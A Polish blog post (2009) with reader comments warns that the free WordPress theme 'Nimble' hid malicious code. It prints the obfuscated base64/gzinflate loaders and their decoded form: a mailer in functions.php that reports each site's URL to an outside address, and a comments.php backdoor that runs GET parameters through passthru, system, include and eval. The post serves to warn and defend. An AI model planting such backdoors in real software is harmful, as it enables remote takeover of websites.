Darmowe szablony/skórki WordPress – sprawdź kod zanim wrzucisz na serwer

 

Darmowa skórka WordPress i niespodzianka w kodzie

Wpis z serii Dobre Rady Wuja Toma, przy czym tym razem rady udziela Tomasz Jach – znajomy, który trafił na ten przypadek i zaproponował napisanie tekstu na ten temat. Ku przestrodze dla innych eksperymentujących na swoich blogach.

Oczywiście sprawa nie dotyczy wyłącznie WordPress-a i skórek czy pluginów do niego. Trzeba zachować ostrożność przy korzystaniu z wszystkich możliwych skryptów i programów. Wirusy i inne złośliwe skrypty czyhają wszędzie. Zasada ograniczonego zaufania jest stale aktualna. „Everybody lies”, jak by to skwitował Dr Gregory House.

Poznajcie skórkę „Nimble”

Poznajcie darmową skórkę o nazwie Nimble, udostępnioną przez serwis wpthemespress.com. Theme jest prosty, przejrzysty i elegancki, aż chce się go wykorzystać na swoim blogu. W ciągu ostatniego roku z możliwości pobrania jej z tego serwisu skorzystało 937 osób.

Nimble: 2 Column Dark Adsense and Widget Ready WordPress Theme.

Professional Web 2.0 Premium WordPress Theme. It’s a very sleak and light weight theme that’s ultra flexible for customization.

Skórka ta jest jednak wyjątkowa z innego powodu.

functions.php

Plik functions.php znajdujący się w katalogu skórki jest wykonywany przy każdym otworzeniu bloga. Zwykle umieszcza się z nim funkcje, które np. rozszerzają możliwości konkretnego szablonu. Bardzo przydatna sprawa, sam z niej korzystam. W tym przypadku w tym pliku znalazła się jeszcze jedna dodatkowa „funkcjonalność”.

Nie będę tu przeklejał całego syfiastego skryptu, ponieważ zajmuje sporo miejsca, ale jego fragment widzicie na screenie na początku tekstu. W każdym razie, po przetworzeniu (a skubaństwo jest niezłe, dekoduje sobie dekodery do dekodowania odpowiednich fragmentów „tekstu”), wywoła się coś takiego (Tomek przesłał mi od razu przetworzone skrypty):

?><?php
$email = 'spameeeeddd@gmail.com <mailto:spameeeeddd@gmail.com>';
$message = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$headers = 'MIME-Version: 1.0'."\r\n";
$headers .= 'Content-Type: text/html'."\r\n";
$headers .= 'Content-Transfer-Encoding: quoted-printable'."\r\n";
@mail($email, 'Nimble', $message, $headers);
?><?

Czyli każdorazowe wejście na bloga powodowało ciche wysłanie na określony adres e-mail adresu odwiedzonej podstrony.

Osoba, która opublikowała ten theme, otrzymywała informację gdzie jest wykorzystywana jej skórka. Na skrzynce lądował każdy dostępny na blogu adresik.

Ale to jeszcze nie wszystko

Poprzedni ukryty kod to pikuś (a nawet pan pikuś) w porównaniu z tym, co można znaleźć w pliku comments.php, odpowiedzialnym za generowanie komentarzy na blogu.

<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKEgsLi7JKCrVUIl3dw2JVs9NLUlUj9VUsAcqAAA=')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKK4sLknN1VCJd3cNiVbPTS1JVI/VVLAHSgMA')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwSC1LzNFQiXd3DYlWz00tSVSP1VSwB0oCAA==')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwyMxLzilNSdVQiXd3DYlWz00tSVSP1VSwB8oDAA==')));?>
<?php // Do not delete these line

A po rozkodowaniu widzimy coś takiego:

?><?php @passthru($_GET['meta']) ?><? //Execute an external program and display raw output
?><?php @system($_GET['meta']) ?><?     //Execute an external program and display the output
?><?php @include($_GET['meta']) ?><? //The include() statement includes and evaluates the specified file.
?><?php @eval($_GET['meta']) ?><? //Evaluate a string as PHP code 

No proszę, backdoor. Wystarczy wywołać stronę z odpowiednio spreparowanym parametrem, a na odpowiednio skonfigurowanym serwerze można zrobić niezłe kuku.

A adresy wszystkich podatnych stron przecież mamy na odpowiedniej skrzynce, bo znaleziony w functions.php skrypcik już nas poinformował gdzie atakować.

Odpowiedź autora strony na zgłoszenie syfu:

Braydon D’aguiar do Tomasz 05.11.2009 14:28

Shit!!!! Thanks. I had someone managing that site for me and they mist of done it.

Pobrałem też paczkę z Nimble, nie ma już syfu.

Sprawdzaj kod

Sprawdzaj, sprawdzaj i jeszcze raz sprawdzaj kod skórek, pluginów i innych gotowych skryptów, które wrzucasz na swój serwer.

Wszelkie bloki zakodowanego skryptu powinny od razu zapalić w głowie ostrzegawczą lampkę. Jeśli nie jesteśmy w stanie samemu przeanalizować całego kodu, pomolestujmy trochę bardziej obeznanych znajomych.

Wpis opublikowany 5 listopada 2009
Tagi: , , , , , , ,
Kategorie: blog, ciekawostki, internet, wordpress, wszystkie

Zobacz również:

Komentarze do wpisu "Darmowe szablony/skórki WordPress – sprawdź kod zanim wrzucisz na serwer"

  1. Taaak, a tyle mówi się o kodowanych stopkach w szablonach. Być może ten zakodowany fragment faktycznie czasami wyświetla tylko niewinne linki do autorów, ale na wszelki wypadek wszelkie zakodowane fragmenty kasuję.
    ;-P

    Autor komentarza, czwartek, 5 lis 2009 #

  2. 1. zaraz sobie też sprawdzę kod mojego bloga.
    2. kto by się spodziewał czegoś takiego…
    3. a gdzie znaleźć dekodery wspomniane przez ciebie?

    pzdr,
    m.

    Autor komentarza, czwartek, 5 lis 2009 #

  3. Ja tylko dodam, że całość rozkodowała Iwonka (http://ipol.cyfrowy.net) :)

    @michał,
    niestety – o ile mi wiadomo, jest to kwestia rozkodowywania ustawicznego przez base64decode (np. PSpad ma taką możliwość offline).

    Tak jak Tomek tutaj wspomniał – ten konkretny przypadek miał to do siebie, że był kilkukrotnie zakodowany, więc trzeba było nad tym posiedzieć sporo czasu.

    Autor komentarza, czwartek, 5 lis 2009 #

  4. Ostatnio usłyszałem pytanie, dlaczego mam bloga na Blogspocie, a nie na WordPressie. Właśnie dlatego. Ja tego nie ogarniam, nie rozumiem, nie umiem – i bym sobie tylko krzywdę zrobił. I choć kusi mnie czasem przejście, to muszę sobie powtarzać, aby nie brać się za coś, czego nie umiem. To był chyba pierwszy wpis u Ciebie, w którym nie zrozumiałem tak wielu fragmentów:) Dobrze, że wytłumaczyłes:)

    Autor komentarza, czwartek, 5 lis 2009 #

  5. Jak to dobrze, że jestem maniakalnym programistą-grzebaczaem :).
    Powiadomiliście jakoś twórców tematu o złośliwym kodzie? Może nie są nawet tego faktu świadomi, a skrypty zostały zmodyfikowane podczas np. włamu na ich serwery? Chyba, że w innych tematach z tego serwisu też są takie wałki :)…

    Autor komentarza, czwartek, 5 lis 2009 #

    • Dałem znać przez formularz kontaktowy na stronie. Zobaczymy jaka będzie odpowiedź.

      Jeśli to nie jest świadomy zabieg (przeglądałem też kilka innych ich skórek i nie było nic niepokojącego), to musieli wrzucić do ściągnięcia podesłany im theme bez dokładnego sprawdzenia kodu. Cała sytuacja dziwna.

      Autor komentarza, czwartek, 5 lis 2009 #

  6. Ha! a ostatnio trafiłem parę szablonów z kodowanymi stopkami i jakoś tak w naturalny sposób w ramach „bhp” je z zakodowanego kodu wyczyściłem… teraz czas sprawdzić resztę ;]

    Przy okazji z tego miejsca chciałem pozdrowić Iwonę i Tomka J. – świat jest mały :D

    Autor komentarza, czwartek, 5 lis 2009 #

  7. jestem w lekkim szoku po tym co przeczytałem. czy problem dotyczy też szablonów z bloggera? i czy taka działalność zawsze pozostaje niewykrywalna? (mam na myśli np. funkcję oznaczania bezpiecznych i groźnych stron przez firefoksa, wiecie, znaczki w wynikach googla).

    Autor komentarza, czwartek, 5 lis 2009 #

  8. @radar – Google dba o użytkowników, jego ostrzeżenia dotyczą wirusów i innej podejrzanej treści, nie ma to związku z opisanym problemem, więc ostrzeżeń też nie będzie.

    Autor komentarza, czwartek, 5 lis 2009 #

  9. czyli nie ma szans na wykrycie takich kwiatków „z automatu”? trzeba samemu przejrzeć kod?

    Autor komentarza, czwartek, 5 lis 2009 #

    • Google jest w stanie zaalarmować Cię w sytuacji, gdy jakaś strona wysyła niebezpieczny kod do przeglądarki internauty. Opisywana tu sytuacja w całości odbywa się na serwerze właściciela bloga, „od kuchni”. Do przeglądarki czytelnika nie jest nic wysyłane, nikt postronny się nie dowie, że coś jest nie tak.

      Autor komentarza, czwartek, 5 lis 2009 #

    • Exploit Scanner może przeskanować pliki szablonu i bazę danych w poszukiwaniu szkodliwego kodu.

      Autor komentarza, czwartek, 5 lis 2009 #

  10. Internet jest jednak zły. ;-) Pozdrowienia dla Tomasza J. ;-)

    Autor komentarza, czwartek, 5 lis 2009 #

  11. Dlatego najlepiej tworzyć własne templatki na bazie standardowych, choć w Joomla! w ramach standardowych skórek pojawiały się również takie z dziurami. WordPress jest o tyle gorszy od Joomli, że w kodzie jego templatek bezkarnie może występować PHP – Joomla owszem pozwala na to, ale nikt tego nie używa w templatkach dla zwykłych użytkowników systemu :)

    Autor komentarza, czwartek, 5 lis 2009 #

    • Jeśli tylko gdzieś jest możliwość wepchnięcia nieświadomym internautom syfu, to trzeba na takie syfy uważać.

      Już pierwsze zabawy z PHP-Nuke (o rany, ile to lat temu było! jak ten czas szybko leci…) nauczyły mnie, że takie popularne, darmowe systemy to siedlisko wszystkiego złego. Kiedyś PHP-Nuke, później Mambo, Joomla, teraz WordPress – naturalna kolej rzeczy.

      Autor komentarza, czwartek, 5 lis 2009 #

  12. No słabo! Nigdy bym nie pomyślał o tym, żeby sprawdzać szablon czy ktoś w nim nie zachachmęcił :)

    Autor komentarza, czwartek, 5 lis 2009 #

  13. Uaktualniłem wpis, uzupełniłem o odpowiedź admina tej strony, która udostępniła skórkę. Chyba był zaskoczony.

    Autor komentarza, czwartek, 5 lis 2009 #

    • A jaki miał być? Przecież nie powiedziałby czegoś w stylu: „sorry, faktycznie, wrzuciliśmy wirusa, ale jesteś lepszy od nas”. ;]

      A tak na poważnie, to trudno sprawdzić taki szablon, bo czasem te stopki są tak „zaszyte”, że to kwestia przypadku, czy znajdziemy odpowiedni fragment, czy nie.

      Autor komentarza, poniedziałek, 21 gru 2009 #

  14. Z jednej strony wrzucanie wirusów uważam za świństwo, ale z drugiej dekodowanie kodu i usuwanie np. linków do stron autorów uważam za świństwo. Nie po to człowiek zasuwa pare dni, aby stworzyć dobry szablon, żeby później nie czerpać korzyści z tych kilku linków które do niego prowadzą.

    Autor komentarza, wtorek, 10 lis 2009 #

  15. Masz rację, ale zobacz co się dzieje na Allegro – nie można już konkurować z „nimi” ceną, bo goście za 50zł sprzedają gotowe, pocięte szablony. Inna sprawa, że jest to bezczelnie kradzione z joomlaos.de czy innych serwisów z templatkami. Ktoś taki wystawia aukcję, kradnie szablon i sprzedaje go za 50zł. W pół godziny spokojnie się wyrobi: 100zł/godzinę – niesamowita pensja jak na kogoś, kto nigdy nie zajmował się programowaniem webowym… Ale tu już zbliżamy się do niebezpiecznego tematu – „ceny zleceń za strony www”, więc nie ciągmy tego tematu ;)

    Autor komentarza, wtorek, 10 lis 2009 #

    • No, jumanie darmowych gotowców i sprzedawanie ich za grosze to inna plaga.

      Zakodowane stopki czy systemy licencyjne też rozumiem, każdy producent stara się zabezpieczyć swoje interesy. I też mi się zdarzało rozkodowywać takie skrypty i usuwać zabezpieczenia żeby spokojnie popracować nad danym skryptem na domowym serwerku :)

      Autor komentarza, środa, 11 lis 2009 #

  16. Cześć Tomek :)
    Znam Twój Blog i czasem tu zaglądam, jednak do tej pory jako turysta. Teraz znowu tu wpadłem, tym razem szukając dodatkowych „dingsów” do implementacji w mojej zabawce, która jest zbiorem dekoderów/koderów. Jestem webasterem, sam piszę skórki do różnych cms’ów i znam ten temat od dość dawna. W tym przypadku autor tego stylu, mógł łatwo przejąć ofiarę i miał kompendium wiedzy o swoich ofiarach via email.
    Jest pełno tzw. darmowych styli i proceder ukrywania kodu trwa. Są głosy, że rozkodywanie, to łamanie licencji, praw autorskich itp bzdety. Jestem odmiennego zdania. Wyobraźmy sobie, że jakiś np. duchowny prowadzi Blog. Podoba mu się styl i go instaluje. Nie wie, że w kodzie stopy są ukryte linki, które referują do stron np. o viagrze, powiększaniu ogórka, czy casyna itd.. Można by rzec, że to nie moralne, skoro ktoś pisze w kodzie, że edycja to łamanie praw autorskich, a zaraz po tym leci zamaskowany kod. Mamy więc sytuację patową. Rozkodować czy nie? Trzeba sobie uświadomić, że są ludzie, którzy żerują na nieświadomości innych ludzi, na ich naiwności czy uczciwości itd. Jestem zdania, że mam prawo wiedzieć co jest ukrywane w stylu, który mam zamiar u siebie zastosować. Nie mam zamiaru łamać licencji, ale chcę wiedzieć, jeśli jest ok, to wporzo, a jeśli nie? To nawet jakby było ze szczerego złota wysadzanego brylantami, to ląduje w koszu, może z większym brzdękiem.. Do tego też mam prawo.
    Dlatego cieszę się, że trafiam na kolejny artykuł uświadamiający ludziom realne zagrożenia ich prywatności, jak również zniszczenia ich pracy.
    Zajmuję się hobbystycznie pomocą dla skryptu forum SMF, ale takie zagadki z kodem rozwiązuję od dawna, (tylko w komercyjnych klimatach, więc linkami nie rzucam..), i teraz na moje forum, również trafiły prośby o rozkodowanie kodu. Postanowiłem, że udostępnię swoją zabawkę, którą używałem zazwyczaj na localhoście. Jest to zbiór różnych dekoderów, część jest mojego pomysłu, resztę mam w ramkach, ale to dozwolone w tym wypadku, nie łamię niczyich praw autorskich, zresztą wszędzie podałem linki bezpośrednie.
    Na moim forum prośby pojawiły tu: http://poligon.ricoroco.com/fora/smf/index.php?board=30.0 Można też tam zadać pytania, jeśli ktoś miałby problemy z kodem lub nie potrafił się posłużyć dekoderem lub miał własne tipsy. Sam dekoder udostępniam np. tu: http://poligon.ricoroco.com/fora/smf/index.php?action=decoder zresztą na stronie gł. również jest link.
    Tomku, to nie jest autoreklama, nie zależy mi na tym i tak Pani w okoolarach u mnie ciągle nocuje :) Poszukuje jeszcze dodatkowych rozwiązań, ale sądzę, że przy tym co już tam jest w 90% przypadków uda się rozkodować zamaskowany kod i mam nadzieję, że zabawka wam się przyda, jeśli tak, to prośba: „podaj dalej”. Mam nie limitowane transfery, więc nie obawiam się przeciążeń.
    Jeśli ktoś zabawia się swoim Wp, testuje, bawi się nim, configuruje itd.. to polecam wtyczkę którą można zeskanować wszystkie style pod kątem ukrytego kodu i go wyświetla ze wskazaniem dokładnym miejsca. Wtyczka nazywa się TAC i jest to skrót od ang. Theme Authenticity Checker, przydatna rzecz i sam z niej korzystam, link: http://builtbackwards.com/projects/tac/
    Polecę jeszcze fajną stronkę, którą każdy bloger na skrypcie WP powinien przeczytać z uwagą: http://www.hungry-hackers.com/2010/01/43-excellent-wordpress-security-tips-and-plugins.html
    Okay, rozpisałem się trochę sorka, ale mam nadzieje, że okaże się to pomocne wielu nieświadomym Blogerom.
    Uważam, że – jak można ukrywać w stylach kod w czasie, kiedy ciągle dochodzi do tylu włamów na WP i ciągle mamy nowe wersje, nie powinno to być zabronione?
    Zapraszam do mojej zabawki i pozdrawiam brać blogerską, Ciebie też Tomku, jak dla mnie, to jesteś pozytywnie zakręconym Blogersem ;)
    roco
    PS. Traktuj ten wpis jak chcesz, jeśli uważasz, że coś z nim nie tak, to nie krępuj się go wyciąć.

    Autor komentarza, wtorek, 26 sty 2010 #

  17. Szukasz naprawdę darmowej strony ? Darmowe strony dla firm.

    Autor komentarza, sobota, 20 mar 2010 #

Robisz zakupy w internecie?
Pomagaj ZA DARMO przy okazji
4000 organizacji społecznych i ponad 1000 sklepów